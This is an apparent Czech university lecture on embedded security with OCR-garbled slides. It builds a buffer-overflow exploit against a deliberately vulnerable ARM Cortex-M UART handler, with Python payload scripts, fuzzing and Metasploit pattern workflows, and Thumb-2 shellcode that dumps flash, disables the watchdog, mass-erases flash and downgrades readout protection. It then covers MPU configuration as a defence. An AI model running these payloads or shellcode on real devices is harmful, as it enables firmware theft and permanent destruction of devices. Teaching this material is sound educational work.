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V predchozich prednaskach jsme vidéli

Strukturu modernich mikroprocesorti ARM Cortex-M

Spravu pameéti a architekturu sbérnic

Prace s periferiemi a prerusenimi

Programovani v C a assembleru
Dnes:

e Realné utoky na embedded systémy
e Ochranné mechanismy (MPU, secure boot)

e Postranni kanalové utoky a hardwarovy pentesting
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Obsah prednasky

1. Motivacni priklad: zranitelné UART rozhrani
2. Jednotka ochrany paméti (MPU)

3. Utoky na embedded systémy

4. Hardwarovy pentesting

5. Obrana a protiopatreni
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Motivacni priklad: zranitelné UART rozhrani
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USART handler pro pfijem znaku

Zdanlivé nekomplikovani implementace ISR

void USART1_IRQHandler(void) {
static char rx_buffer[128];
static uint8_t rx_index = 0;
if (USART1->SR & USART_SR_RXNE) <
char c¢ = USART1->DR;
rx_buffer[rx_index++] = c; // A Nekontroluje rx_index!
if (c == '"\n') {

process_command(rx_buffer);
rx_index = 0;

Co se stane, kdyz utoc¢nik posle vice nez 128 znaku?
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IRQ Handler a zasobnik

Co se déje se zasobnikem béhem preruseni?

ARM Exception Entry (automatické): Exception Exit (automatické):

Pfi vstupu do IRQ handleru CPU automaticky ulozi Po ukonceni handleru:

kontext na stack:

; Handler konci
bx lr ; lr = OxFFFFFFF9

1. CPU detekuje preruseni (RXNE bit)
2. Automaticky PUSH registrui: i , .
PUSH {RO, R1, R2, R3, R12, LR, PC, xPSR} ; ﬁﬁgoﬂii?EﬁiepgﬁcFﬁglgﬁﬂaTaglC'
3. LR = OxFFFFFFF9 (EXC_RETURN magic) ﬁOP {RO, R1, R2, R3, R12, LR, PC, xPSR}
4. PC = adresa USART1_IRQHandler ! ! ! ! ! ! A !
5. CPU skoci na handler Naéte return address!
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Stack po exception entry: Tady nastava ttok:

Vyssi adresy e Pokud rx_buffer pretece - prepie ulozenou PC

xPSR hodnotu na stacku
L ] 3 i | Ve . . v V4 v V4
E& \CEE B Kam se vratit: » Priexception exit > CPU nacte utocnikovu adresu
R12 v 7 s 7 .
R3, R2, R1, RO e CPU skoCi na shellcode misto navratu do main()
« SP (novy)

rx_buffer[127]

x_buffer[0]

Kli¢: ARM Cortex-M ma automaticky stack frame pfi IRQ = utocnik vi pfresné, kde je return address!
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Simulace utoku na USART1_IRQHandler

Krok 1: Normalni béh (pfijme 10 znak)

Stack: RAM:
0x20000500: rx_buffer[0..9] = "Hello\n..."
XPSR 0x2000050A: rx_buffer[10..127] = 0x00
PC = 0x08001234 < Return
LR, R12, R3... rx_index = 10

Exception exit = CPU vrati se na 0x08001234 (main loop)
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Krok 2: Utoénik posle 200 bajta

payload = b'A' *x 200
ser.write(payload)

Co se déje v IRQ handleru:

rx_buffer([0]
rx_buffer[1]

- // OK
‘At // OK

rx_buffer[127]
rx_buffer[128]
rx_buffer[129]

'A'; // OK (konec bufferu)
'"A'; // OVERFLOW! Prepise rx_index
'A'; // PrepisSe padding

rx_buffer[140]

I
>

» // Prepise RO na stacku

rx_buffer[156] = 'A'; // PrepiSe ulozenou PC!!! « TU!
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Krok 3: Stack po overflow

Stack po preteceni:

XPSR = AAAA « Prepsano

PC = 0x41414141 | < Prepsano uUtocnikem!
LR = AAAA « Prepséano

R12 = AAAA « Prepséano

R3 = AAAA

R2 = AAAA

R1 = AAAA

RO = AAAA

AAAA AAAA AAAA « rx_buffer overflow
AAAA AAAA AAAA

rx_index = 0x41414141 (taky prepsan!)

Problém: PC = 0x41414141 (ASCIl "AAAA") = neplatna adresa!

- CPU pfi exception exit sko¢i na 0x41414141 - HardFault
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Krok 4: Chytry utok (payload s return address)

Uto&nik musi pfepsat PC na platnou adresu (kde je shellcode):

payload = b'A"' x 128 # Vypln rx_buffer
payload += b'A' x 8 # Vypln padding
payload += b'A' x 16 # Prepise R0-R3, R12, LR
payload += b'\x00\x05\x00\x20' # PC = 0x20000500 (rx_buffer!)
payload += b'A' x 4 # xPSR (nemusi byt platny)
Stack po utoku:
XPSR = AAAA
PC = 0x20000500 | < Ukazuje na rx_buffer!
LR = AAAA

[shellcode...]
NOP NOP NOP

« 0x20000500: ZacCatek rx_buffer

Exception exit = CPU skocCi na 0x20000500 - spusti shellcode!
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Pro¢ neni ASLR (Address Space Layout Randomization) na embedded?

Klasické PC (Linux/Windows): Embedded (STM32F4):
KaZzdy bé&h - jiné adresy: KaZzdy béh - STEJNE adresy:
Béh #1: Béh #1:
Stack: 0x7ffel234a000 SRAM: 0x20000000 — O0x2001FFFF
Heap: 0x555555a1b000 Flash: 0x08000000 — OxQ80QFFFFF
Libc: 0x718e2340b000
Béh #2: ]
Béh #2: ] SRAM: 0x20000000 - 0x2001FFFF < STEJNE!
Stack: @x7ffd8934c000 « JINE! Flash: 0x08000000 — 0x080FFFFF « STEJINE!
Heap:  ©@x5555559d2000 <« JINE! §
Libc: 0x7f1a3210f000 < JINE! rx_buffer je VZDY na:
0x20000500 (nebo kde linker rozhodl)
Utoénik:

Utoénik:
e Nevi, kde je rx_buffer
e Presné vi, kde je SRAM (0x20000000)

e MUzZe tipnout rx_buffer je nékde kolem
0x20000400-0x20000600

e Pouzije NOP sledding - nemusi trefit presné!

e Musi "uhodnout" adresu (1 z 2”32 moznosti)

e Nebo pouzit info leak (format string, atd.)
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Jak CPU vykonava shellcode?

Coje shellcode?

e Shellcode = normalni ARM Thumb-2 strojovy kod
e Pouze posloupnost bajtll v paméti

e CPU je dekdduje jako instrukce
Jak CPU vykonava instrukce?

. Fetch: CPU nacte bajty z adresy PC
. Decode: Dekdduje bajty na instrukci
. Execute: Vykona instrukci

. PC++: Posune PC na dalsi instrukci

S~ WN -

CPU se nediva, jestli jsou data "kéd" nebo "data"!

Priklad:

Bajty v paméti (SRAM):
Adresa Bajty
0x20000500: 4F FO 90 40

0x20000504: 00 21
0x20000506: 01 60

CPU dekoduje jako:

0x20000500: mov.w r@, #OxXEQQOQED90
0x20000504: movs rl, #0O
0x20000506: str rl, [ro]

Pokud PC = 0x20000500:
- CPU prosté vykona tyto instrukce!

Proto buffer overflow funguje: PrepiSeme return address - PC skoc¢i do nasich dat - CPU je vykona jako kod!
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Proc¢ je SRAM (bez MPU) spustitelna?

Pamétova mapa ARM Cortex-M4:

0xE0000000
0x40000000

0x20000000

0x08000000

0x00000000

Bez MPU:

System (SCS)

Peripherals

SRAM (128 KB)
! XN bit = 0

Flash (512 KB)

« EXECUTABLE!

< EXECUTABLE

e SRAM nema XN (eXecute Never) bit

e CPU muze vykonavat kéd odkudkoli

e Data = Kdd, zadny rozdil!

Zaver: Bez MPUje SRAM spustitelna = shellcode funguje!
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S MPU (ochrana):

// Region 1: SRAM jako non-executable

MPU->RNR = 1;

MPU->RBAR = 0x20000000;

MPU->RASR = (1 << 28) |
(3 << 24) |
(17 << 1) |
(1 << 0);

// SRAM base

// XN =1 !

// AP = RW

// SIZE = 128 KB
// ENABLE

// Ted: pokud PC skoCi na 0x20000500

// - MemManage fault!
// - Shellcode se NESPUSTI

XN bit = eXecute Never

e Oznadi region jako "data only"

e CPU vyvola fault pfi pokusu o execute



Problém: Utoénik musi znat velikost bufferu
Jak utoénik zjisti, kolik ma poslat dat?

Metody zjisténi:

1. Reverse engineering - Ghidra/IDA Pro dump firmware
2. Source code leak - GitHub, insider

3. Dokumentace - technické manualy

4. Fuzzing - trial and error

5. Pattern matching - Metasploit pattern
Co kdyz ttoénik velikost NEZNA?

-> Existuji techniky pro "slepy" utok!
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Technika #1: Blind Overflow (slepy utok)

Pfistup: Podli HODNE dat a doufej

import serial

ser = serial.Serial('/dev/ttyUSBO', 115200)

# Zarucené pretece vétsSinu bézZnych bufferd (64-256 B)

payload = b'A"' x 512

payload += b'\x00\x05\x00\x20' # Return address (0x20000500)

ser.write(payload)

Vyhody: Nevyhody:
e Jednoduchy utok e 1 Casto zplisobi crash misto exploitu
e Funguje bez znalosti velikosti e Prepise priliS mnoho paméti
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Technika #2: NOP Sledding (klouzani po NOPech)

Problém: Nevim presné, kde v SRAM bude payload po preteceni

Princip: Vytvor velkou "skluzavku" z NOP instrukci

import struct Jak to funguje:
# ARM Thumb-2 NOP = 0xBF00

nop = b'\xBF\x00' * 100 # 200 bajtd NOPU
SRAM (po overflow):

# Shellcode na konci 0x20000380: AAAAAAAAAA... < Vypln

shellcode = bytes([ 0x200003C0: NOP NOP NOP NOP ... « Zacatek NOP{
0x4F, OxFO, 0x90, 0x40, # mov.w r@, #OxEQQOED90 t Return addr skoli sem (napr. 0x200003C0)
0x00, 0x21, # movs rl, #0 0x20000410: NOP NOP NOP NOP
0x01, 0x60, # str r1, [roO] 0x20000460: NOP NOP NOP NOP

1) 0x200004B0: SHELLCODE « CPU sklouzne sem

# Payload = NOPs + shellcode
1 = hell ’ o v v v s

payload = nop + shellcode Nemusime trefit pfesné zadatek shellcode!

# Na offset return address (132 B)

# nasméruj KDEKOLI do NOPG:

payload = payload.ljust(132, b'A")

payload += struct.pack('<I', 0x20000400) # Nékde do NOPQ
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Co NOP sledding RESi a NERESI

X NERESI: Offset return address

e Musi$ presné védét, Ze return address je na offsetu 132 baijtu

e To ziskas pomoci: fuzzing, Metasploit pattern, reverse engineering
RESI: Pfesnou adresu shellcode v paméti

e Problém: Buffer je nékde kolem 0x200003C0 , ale nevim to pfesné
o Redeni: Nasméruiji return address na 0x20000400 (pfiblizna oblast)

e CPU "sklouzne" po NOPech az na shellcode

ProcC je to tfeba? Buffer neni jedinou lokalni proménnou a neni tak jasna adresa, kde je alokovan.

void USART1_IRQHandler(void) <
static char rx_buffer([128];
static uint8_t rx_index = 0;
// mozna dalsi lokdlni proménné...
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Priklad

Klasicky utok: Musi presné trefit zacatek shellcode

Return addr - 0x20000500 (presné zacCatek shellcode)
X Pokud je buffer ve skute¢nosti na 0x200004F0 - FAIL
X Pokud je buffer ve skutecnosti na 0x20000510 - FAIL

NOP sledding: Velka toleran¢ni zona

Return addr - 0x20000400 (nékde do NOPU, priblizna oblast)
CPU vykondvd NOP NOP NOP... (od 0x20000400)
2 Nakonec dorazi na shellcode (napf. 0x200004B0)
¥ Funguje i kdyZz je buffer o *50 bajtd jinde!

Efekt:

. Nepotrebujes znat presnou adresu bufferu v SRAM
o X Stale potfebujes znat offset return address!

e Toleranéni zona: +100 bajtt (zélezi na délce NOP sledu)
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Technika #3: Fuzzing (pokus-omyl)

Automatické hledani velikosti bufferu

import serial, serial
ser = serial.Serial('/dev/ttyUSBO', 115200)

def check_device_alive(): # Zkontroluj, jestli zarizeni odpovida
ser.write(b'PING\n"')
response = ser.read(timeout=1)
return b'PONG' in response

for size in range(1, 512): # Binarni vyhledavani velikosti bufferu
payload = b'A' *x size + b'\n'
ser.write(payload); time.sleep(0.1)

if not check_device_alive():
print(f"Device crashed at size: {size}")
print(f"Buffer is likely {size - 8} bytes")
break

# vystup
# Device crashed at size: 136
# Buffer is likely 128 byte
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Technika #4: Metasploit Pattern Matching

Problém: Vi§, Ze zafizeni crashuje, ale NEVIS PRESNE KDE je return address!
Proc€ to potrebujes?

Klasicky fuzzing ti fekne:

o ] "Buffer overflow nastava pii 136 bajtech"
o X Ale NEREKNE, na jakém offsetu je return address!

Struktura stacku (neznama!):

Return address < Na jakém offsetu v payloadu je TOHLE?
Saved FP

Saved registers. « Kolik?

Local vars « Kolik?

rx_buffer[127..0]
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Metasploit Pattern - Jak to funguje?

Princip: Kazda 4-bajtova posloupnost je unikatni

# Vygeneruj unikdtni pattern (300 bajtl)
$ msf-pattern_create -1 300
Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5SAb6Ab7AD8ADOACOACIAC2. ..

Klicova vlastnost:
e Pattern je cyklicky (AaO, Aal, Aa2, ..., AbO, Ab1, ...)
e KAZDA 4-bajtova sekvence se vyskytuje JEN JEDNOU!

Krok 1: Posli pattern na zarizeni

import serial
ser = serial.Serial('/dev/ttyUSBo', 115200)

pattern = b'Aa®AalAa2Aa3AadAa5AabAa7Aa8Aa9AbOAb1Ab2Ab3Ab4Ab5Ab6AD7AD8BADI. . . "
ser.write(pattern)
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Krok 2: Zarizeni crashne - precti return address z debuggeru

Pripoj debugger (OpenOCD + GDB):

(gdb) info registers

pc = 0x41346241 < CPU se pokusilo skocCit SEM!
lr = 0x41346241
sp = 0x2001ff00

Return address = 0x41346241
Krok 3: Zjisti, na jakém offsetu je tato hodnota

$ msf-pattern_offset —q 0x41346241
[*] Exact match at offset 132

Interpretace:

e Return address je na offsetu 132 v payloadu!
e Buffer ma 132 - 4 =128 bajtu

e Stack layout:
Mikroprocesory 06/01/2026
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Offset: 0

Payload: AAAAAAAAAAAAAAA...

Buffer

128 132——136
41346241 7?77

Return addr!

Krok 4: Vytvor presny exploit

payload = b'A" x 132

payload +=
payload +=

p32(0x20000500)
shellcode
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# Vypln az k return address
# Presné prepise return address!
# Shellcode nasleduje
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Proc je Metasploit Pattern lepsi nez hadani?

Metoda Presnost Rychlost Nutnost debuggeru
Ruéni hadani X Nepiesné Pomalé (hodiny) X Ne

Binarni vyhledavani ! Priblizné Stfedni (minuty) X Ne

Metasploit Pattern Exaktni! Rychlé (sekundy) Ano (1x stadi)

Vyhody:

1. &4 Jedno spusténi staci - vygenerujes pattern, posles, prectes crash dump
2. U4 Exaktni offset - viS presné, kde je return address
3. &4 Univerzalni - funguje na vSech architekturach (ARM, x86, RISC-V)

4. 4 Rychlé - sekunda na vygenerovani, sekunda na zjiSténi offsetu
Nevyhody:

o X Pottebuje$ debugger (JTAG/SWD) pro &teni crash stavu

e X Pokud nemas pristup k PC registru = musi$ hadat
Mikroprocesory 06/01/2026
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Prakticky priklad - kompletni workflow

1. ViS, ze zafrizeni crashuje pfi ~140 bajtech (z fuzzingu)

2. Vygeneruj pattern:

$ msf-pattern_create -1 200 > pattern.txt
$ cat pattern.txt
AaPAalAa2Aa3Aad4Aa5AabAa7Aa8Aa9Ab0OAb1ADb2. ..

3. Posli na zarizeni:

ser.write(open('pattern.txt', 'rb').read())
4. Pripoj debugger a precti PC:

$ openocd -f stlink.cfg —-f stm32f4x.cfg
(gdb) target remote :3333

(gdb) continue

# ... crash ...

(gdb) info registers

pc = 0x33614132 <~ Toto je z patternu!
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5. Zjisti offset:

$ msf-pattern_offset —q 0x33614132
[%x] Exact match at offset 128

6. Vytvor exploit:

payload = b'A' % 128 # Vypln
payload += struct.pack('<I', 0x20000500) # Return addr (little-endian!)
payload += shellcode # Shellcode

ser.write(payload)

Zarizeni skoCi presné na 0x20000500 a vykona shellcode!
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Technika #5: Timing Side-Channel

Problém: Nemas debugger, zafizeni neodpovida po crashi - jak zjistit offset?
Princip: Mér dobu odpovédi - crash zplsobi watchdog reset = vyrazné delSi odezva
Kdy pouzit:

e 4 Black-box testing (nemas debugger)
e 4 Zarizeni ma watchdog timer

e 4 Nemas pristup k UART vystupu (jen timing)
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import serial
import time
import statistics

ser = serial.Serial('/dev/ttyUSB0O', 115200)

def measure_response_time(payload_size):
times = []
for _ in range(10): # 10 méreni pro prdmér
start = time.time()
ser.write(b'A' *x payload_size + b'\n"')

try:
ser.readline(timeout=1) # Cekat na odpovéd
elapsed = time.time() - start

except:
elapsed = 1.0 # Timeout = pravdépodobné crash

times.append(elapsed)
return statistics.mean(times)

# Skenuj rdzné velikosti

for size in range(50, 200, 10):
delay = measure_response_time(size)
print(f"Size {size:3d}: {delay:.4f}s")

# Velky skok v case = buffer overflow!
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Vystup: Co se stalo p¥i crashi:

1. Payload 130B prepsal return address

Size 50: 0.0102s +« Normalni

Size 60: 0.0105s X

Size 70: 0.0103< 2. CPU skocil na neplatnou adresu
Size 80: 0.0106s

3. Hard fault exception

Size 120: 0.0108s
Size 130: 0.2500s < SKOK! (crash + watchdog reset)

Size 140: 0.2480s < Potvrzeni crashe 5. Automaticky reset MCU

6. Bootloader restart (~50ms)

4. Watchdog timer expiroval (~200ms)

(S

Interpretace:

7. Aplikace znovu bézi
¢ <0.015s = normalni odpovéd

, ) . . iy vt |
e >0.2s - crash watchdog reset (~200ms) Vyhoda: Funguje i kdyz nemas zadny vystup z MCU!
e - Buffer ma ~128 bajtu Nevyhoda: Méné presné nez Metasploit pattern (vis ze je

to "kolem 130B", ne presné)
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Porovnani metod

Metoda Presnost Slozitost Vyzaduje crash dump?
Reverse engineering Pfesna Vysoka Ne

Source leak Piesna  Nizka Ne

Blind overflow X Zadna Velmi nizka ~ Ne

NOP sledding ! Pfibliznad  Stfedni Ne

Fuzzing ! Pfiblizna  Nizka Ne

Pattern matching Pfesna Sttedni Ano

Timing analysis ! Pfiblizna  Stfedni Ne

Nejlepsi pristup: Kombinace!

1. Fuzzing - najde pribliznou velikost

2. NOP sledding - robustni exploit bez presné znalosti
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Code injection: Vlozeni skodlivého kédu
Utoénik posle specialné vytvoreny payload:

[128x NOP padding] [shellcode] [new return address]
Shellcode = maly program v ARM Thumb-2 assembleru:

; Vypnout MPU

mov.w r@, #OxXEQQOED90 ; MPU_BASE adresa

movs rl, #0O ; Hodnota 0

str rl1, [roO] ; MPU->CTRL = @ (vypnout MPU)

; Otevrit Flash pro zapis

mov.w r@, #0x40023C00 ; FLASH_KEYR adresa
mov.w rl, #0x45670123 ; FLASH_KEY1

str rl, [ro]

mov.w rl, #0OxCDEF89AB ; FLASH _KEY2

str rl, [ro]
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Shellcode priklad 1: Vypnuti Watchdog

Utoénik chce zabranit restartu zafizeni:

; Vypnout Independent Watchdog (IWDG)
; IWDG bézi na vlastnim RC oscilatoru —> nelze jednoduSe zastavit
; Ale mUzeme nastavit maximdlni prescaler a reload hodnotu

mov.
mov.

str

mov.

str

mov.

str

; Nyni watchdog triggeruje

w
w

ro,
ri,
ri,

ri,
ri,

ri,
ri,

#0x40003000
#0Ox5555
[ro]

#0x0007
[ro, #4]

#OxCCCC
[ro]

; IWDG_BASE adresa

IWDG_KR unlock klic
IWDG—>KR = 0@x5555 (povolit zapis)

Maximdlni prescaler (256)
IWDG—>PR = 7

; Spustit watchdog s novou hodnotou
; IWDG—>KR = @xCCCC

aZz za ~26 sekund misto ~100ms

; UtoCnik ma cas provést dalsi Gtok

Dusledek: Zafizeni se neresetuje = Utocnik ma ¢as na dalsi exploitaci.
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Shellcode priklad 2: Dump Flash pres UART

Utoénik chce ukrast firmware:

; Odeslat celou Flash pamét pres USART1

mov.w r4, #0x08000000
mov.w r5, #0x08100000
mov.w r6, #0x40011000

uart_Lloop:
ldrb ro, [r4], #1

walt_tx:
ldr rl, [r6, #0x00]
tst rl, #0x80
beqg wailt_tx

str ro, [r6, #0x04]

cmp rd, r5
blo uart_Lloop

: Flash zacatek
: Flash konec (1 MB)
; USART1_BASE

; Nacti byte z Flash, inkrementuj

; USART1->SR
; Test TXE bit
; Cekej, dokud neni TX buffer prazdny

; USART1->DR = byte

; Jsme na konci?
; Pokracuj, dokud r4 < r5

; Flash kompletné odeslana pres UART
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Python skript utoc¢nika

import serial

port = serial.Serial('/dev/ttyUSBO', 115200)
firmware = port.read(1024x1024) # Prec¢ti 1 MB
open('stolen.bin', 'wb').write(firmware)

Shellcode priklad 3: Permanentni Brick
Utoénik chce zafizeni trvale znigit:

; Smazat celou Flash pamét (vCetné bootloaderu!)
mov.w r@, #0x40023C00 ; FLASH _KEYR adresa

: 0demknout Flash
mov.w rl, #0x45670123 ; FLASH_KEY1

str rl1, [ro]
mov.w rl, #0OxCDEF89AB ; FLASH_KEY2

str rl, [ro]
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; Mass erase
mov.w r@, #0x40023C10 ; FLASH_CR adresa

mov.w rl, #0x0004 ; MER bit (Mass Erase)
str rl, [ro]

mov.w rl, #0x0014 7 MER + STRT bit

str r1, [ro] ; Spustit mazani

; Cekej na dokonéeni
mov.w ro, #0x40023COC ; FLASH_SR adresa

walt_erase:
dr ri1, [ro]
tst rl, #0x01 ; BSY bit

bne walt_erase

; Flash je prdzdna —> zarizeni uz nikdy nenastartuje

Dusledek: Zafizeni nelze obnovit bez JTAG/SWD reflash. Pro bézného uzivatele = cihla.

Mikroprocesory 06/01/2026



Shellcode priklad 4: Odstranéni RDP ochrany

Utoénik chce vypnout Readout Protection a ukrast firmware:

; Zménit RDP Level 1 - Level 0 a restartovat zarizeni
; Po restartu Gtoc¢nik mize ¢ist Flash pres JTAG/SWD debugger

H

mov.
mov.

str

mov.

str

v 2.

mov
mov
ldr

;3.

bic
orr
str

. Odemknout Flash
w ro, #0x40023C04 ; FLASH_OPTKEYR adresa

w rl, #0x08192A3B ; OPTKEY1
ri, [ro]

w rl, #0x4C5D6E7F ;7 OPTKEY?2
rl, [ro]

Nacist soucCasnou hodnotu Option Bytes

W r@o, #0x1FFFC000 ; Option Bytes adresa (FLASH_OPTCR)
W r3, #0x40023C14 ; FLASH_OPTCR registr

ri, [r3] ; Precti soucasnou konfiguraci

Nastavit RDP Level @ (@xAA)
rl, rl, #0OxFF00 ; Vymaz RDP bits (bits 15:8)
rl, rl, #0xAAQQ ; RDP Level 0 = OxAA
r1, [r3] ; Zapis$ novou konfiguraci
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; 4. Spustit programovani Option Bytes

ldr rl, [r3]

orr rl, rl, #0x02 ; OPTSTRT bit (spustit programovani)
str rl, [r3]

; 5. Cekej na dokonceni
mov.w ro, #0x40023C0oC ; FLASH_SR adresa
walt_optpgm:

ldr rl, [ro]

tst rl, #0x01l ; BSY bit

bne  wait_optpgm

; 6. Restartovat zarizeni (nutné pro aplikaci zmén)
mov.w r@, #0OXEQQOEDOC ; SCB—>AIRCR adresa

mov.w rl, #0Ox05FA0004 ; VECTKEY | SYSRESETREQ
str rl1, [ro] ; System reset

; Po restartu: RDP = Level @ - Flash je citelna!

Scénar utoku

1. Buffer overflow = spusti tento shellcode - zméni RDP Level 1 = 0 a restartuje zafizeni
2. Po restartu: Utoénik pfipoji JTAG/SWD debugger

3. Precte celou Flash pamét: openocd> flash read_bank @ firmware.bin
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Dusledky Uspésného utoku

e Spusténi libovolného kodu s pravy systému

Vypnuti ochrannych mechanismua (MPU, Write Protection)

Zména firmware (Uprava Flash paméti)

Kradez kli¢t uloZzenych v paméti

Permanentni backdoor v zafizeni

e |Lateral movement na ostatni zarizeni v siti

Priklad: Zranitelnost v auté = ovladnuti CAN sbérnice = vypnuti brzd

Mikroprocesory 06/01/2026
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Proc je to vembedded systémech horsi?

Klasické PC:

e Bézi operacni systém (Linux, Windows)
Virtualni pamét s ASLR

Stack canaries standardné zapnuté
DEP/NX bit vynuceny
Automatické updaty

owv s

- Embedded zafrizeni jsou snadnéjsi cile!
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Embedded (STM32F4 bez MPU):

o X Zadny OS (bare-metal)

X Pamét linedrné& mapovana

X SRAM je spustitelna (XN bit neni nastaven)

X Kompilatory &asto bez -fstack-protector

X Update vyZzaduje fyzicky pfistup
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2. Jednotka ochrany paméti (MPU)
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Co je MPU a proc¢ ji pouzivat?

Memory Protection Unit (MPU) je volitelnd komponenta  Pouziti:

Cortex-M procesoru, kterd umozniuje: . o -
P J e RTOS - izolace tasku, ochrana kernel paméti

1. Ochranu pamétovych oblasti — zamezeni pfistupu k o Safety-critical systémy (ISO 26262, IEC 61508)

zakazanym adresam e Security — ochrana kli&(, secure boot

2. Nastaveni pristupovych prav — read-only, read- R
write, execute-never

Debugging — detekce stack overflow, null pointer

dereference

3. Definici atributli — cacheable, bufferable, shareable « Optimalizace —- DMA buffery jako non-cacheable

4. Detekci chyb — memory fault pfi poruseni pravidel

Dostupnost:

e Cortex-MO/MO+: Bez MPU
e Cortex-M3/M4/M7: Volitelna (kontrola v CMSIS: __ MPU_PRESENT )
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Z3akladni princip MPU

Region-based protection: Overlapping regions:

MPU déli pamét na regiony (az 8 nebo 16 podle MCU): e Regiony se mohou prekryvat

e Kazdy region ma bazovou adresu a velikost * Phiprekryvu plati pravidla vyssiho regionu
o (32B-4GB) e Umoznuje "vyjimky v pravidlech" (napf. read-only

e Region ma definované atributy a pristupova prava Flash s writable sektorem)

e Regiony mohou mit rizné priority

vvvvv

Privilege vs. Unprivileged mode:

e MPU rozliSuje privileged (kernel) a unprivileged (user) pfistup
e RUzna préva pro rizné rezimy

* Bezpecnostni use case: Aplikace bézi unprivileged, kernel privileged

Mikroprocesory 06/01/2026
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Konfigurace MPU

Hlavni registry (CMSIS):

// Adresa base

#define MPU_BASE 0xEQQQED9QUL

typedef struct {
volatile uint32_t
volatile uint32_t
volatile uint32_t
volatile uint32_t
volatile uint32_t
// Pro STM32F4 (8

} MPU_Type;

TYPE; //
CTRL; //

RNR; //
RBAR; //
RASR; //
regiontd) -

MPU Type Register

MPU Control Register

MPU Region Number Register

MPU Region Base Address Register

MPU Region Attribute and Size Register
opakuje se pro RBAR_A1-A3, RASR_A1-A3

#define MPU ((MPU_Typex)MPU_BASE)

Mikroprocesory 06/01/2026
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MPU_TYPE register

// MPU Type Register (read-only)
uint32_t mpu_type = MPU->TYPE;

// Bits:

// [23:16] IREGION - Number of instruction regions (@ = unified)
// [15:8] DREGION - Number of data regions (8 nebo 16)

// [0] SEPARATE - 0 = unified MPU

// Priklad STM32F4:
// DREGION = 8 - médme 8 regionl

Kontrola pritomnosti MPU:

bool has_mpu(void) {
return (MPU->TYPE & OxFF@Q) '= @; // DREGION > 0
}
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MPU_CTRL register

// MPU Control Register

MPU->CTRL = MPU_CTRL_ENABLE | // Enable MPU
MPU_CTRL_PRIVDEFENA | // Enable default memory map for privileged
MPU_CTRL_HFNMIENA; // Enable MPU during HardFault/NMI

// Bits:

// [2] HFNMIENA - MPU enable during faults
// [1] PRIVDEFENA- Enable background region for privileged
// [@] ENABLE — MPU enable

Typické nastaveni:

e ENABLE =1 - MPU aktivni

 PRIVDEFENA =1 - Privileged kéd mUze pfistupovat kamkoli (pokud region neurcuje jinak)
e HFNMIENA = 0 - Béhem fault handleru MPU vypnuto (pro debug)

Mikroprocesory 06/01/2026
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Konfigurace regionu - RBAR a RASR

// Region Base Address Register (RBAR)
// Nastaveni bazové adresy regionu 0

MPU->RNR = 0; // Select region 0
MPU->RBAR = 0x20000000 |
MPU_RBAR_VALID | // Update RNR
(0 << 0); // Region number
// Bits:
// [31:N] ADDR - Base address (aligned to region size)

// [4] VALID - Update RNR from RBAR[3:0]
// [3:0] REGION - Region number (if VALID=1)

// Region Attribute and Size Register (RASR)

MPU->RASR = (0 << 28) | // XN: Execute Never
(3 << 24) | // AP: Full access
(0 << 19) | // TEX
(1 << 18) | // S: Shareable
(0 << 17) | // C: Cacheable
(0 << 16) | // B: Bufferable
(0 << 8) | // SRD: Subregion disable
(16 << 1) | // SIZE: 2~(16+1) = 128 KB
(1 << 0); // ENABLE

Mikroprocesory 06/01/2026
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Velikosti regionti

SIZE field (bits 5:1 v RASR):

SIZE Velikost SIZE Velikost SIZE Velikost
4 32B 12 8 KB 20 2 MB

5 64 B 13 16 KB 21 4 MB

6 128 B 14 32 KB 22 8 MB

7 256 B 15 64 KB 23 16 MB

8 512 B 16 128 KB 29 512 MB
9 1 KB 17 256 KB 30 1 GB

10 2 KB 18 512 KB 31 4 GB

11 4 KB 19 1 MB

Poznamka: Bazova adresa musi byt zarovnana na velikost regionu.

Mikroprocesory 06/01/2026
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Pristupova prava (AP field)

Access Permissions (bits 26:24 v RASR):

AP Privileged Unprivileged Popis

000 Noaccess No access Zakazano

001 RW No access Pouze privileged

010 RW RO Privileged R/W, User RO
011  RW RW Full access

101 RO No access Privileged read-only

110 RO RO Read-only pro vSechny
111 RO RO Read-only (deprecated)

XN bit (eXecute Never):

e XN =0 - Kdd Ize spoustét

e XN =1 - Nelze spoustét (data-only region)

MikroaF58&noet! XN Bit chrani proti code injection dtokiim (WX policy)
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Pamétové atributy (TEX, C, B, S)

Type Extension (TEX), Cacheable (C), Bufferable (B):

TEX C B Typ paméti Cache Buffer Pouziti

000 0 0  Strongly-ordered No No Periferie (critical)

o000 0 1 Device (shared) No Yes Periferie (buffered)

000 1 0 Normal WT No Code (write-through)
000 1 1 Normal WB Yes SRAM (write-back)

001 0O O Normal No No Non-cacheable SRAM
001 1 1 Normal WB+WA  Yes Fastest (SRAM/SDRAM)

Shareable (S):

e S=0 - Pouze jeden procesor

e S =1 - Sdileno mezi procesory/DMA (multi-core)

WT = Write-Through, WB = Write-Back, WA = Write-Allocate
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Subregiony (SRD field)

Region Ize rozdélit na 8 stejnych subregionu:

e Kazdy subregion Ize individualné zakazat pomoci SRD bitU
Priklad:

// Region 64 KB (0x2000_0000 — 0x2000_FFFF)
// Subregion = 64KB / 8 = 8 KB kazdy

MPU->RNR = 0;

MPU->RBAR = 0x20000000,;

MPU->RASR = (15 << 1) | // SIZE = 64 KB
(0x03 << 8) | // SRD: disable subregion 0 a 1
(1 << 0); // ENABLE

// Vysledek:

// 0x2000_0000 — 0x2000_1FFF DISABLED (subregion 0)

// 0x2000_2000 — 0x2000_3FFF DISABLED (subregion 1)

// 0x2000_4000 — 0x2000_FFFF ENABLED (subregions 2-7)

Poznamka: Subregiony nefunguiji pro regiony < 256 bajtu.

Mikroprocesory 06/01/2026
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Prakticky priklad: ochrana Flash

void mpu_protect_flash(void) {
// Vypnout MPU béhem konfigurace
MPU->CTRL = 0;

// Region 0: Flash (512 KB) - read-only, executable
MPU->RNR = 0;

MPU->RBAR = 0x08000000; // Flash base
MPU->RASR = (0 << 28) // XN = 0 (executable)

|
(0x6 << 24) | // AP = 110 (RO for all)
(0 << 19) | // TEX = 0
(0 << 18) | //'S =0
(1 << 17) | // C =1 (cacheable)
(0 << 16) | // B =0
(0 << 8) | // SRD = @ (all enabled)
(18 << 1) | // SIZE = 512 KB
(1 << 0); // ENABLE

// Zapnout MPU

MPU->CTRL = MPU_CTRL_ENABLE | MPU_CTRL_PRIVDEFENA;

__DSB(); // Data Synchronization Barrier - zajisti, Ze zapis do MPU registri je dokoncen
__ISB(); // Instruction Synchronization Barrier - CPU prenacte instrukce s novou MPU konfiguraci
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Prakticky priklad: Stack overflow detection

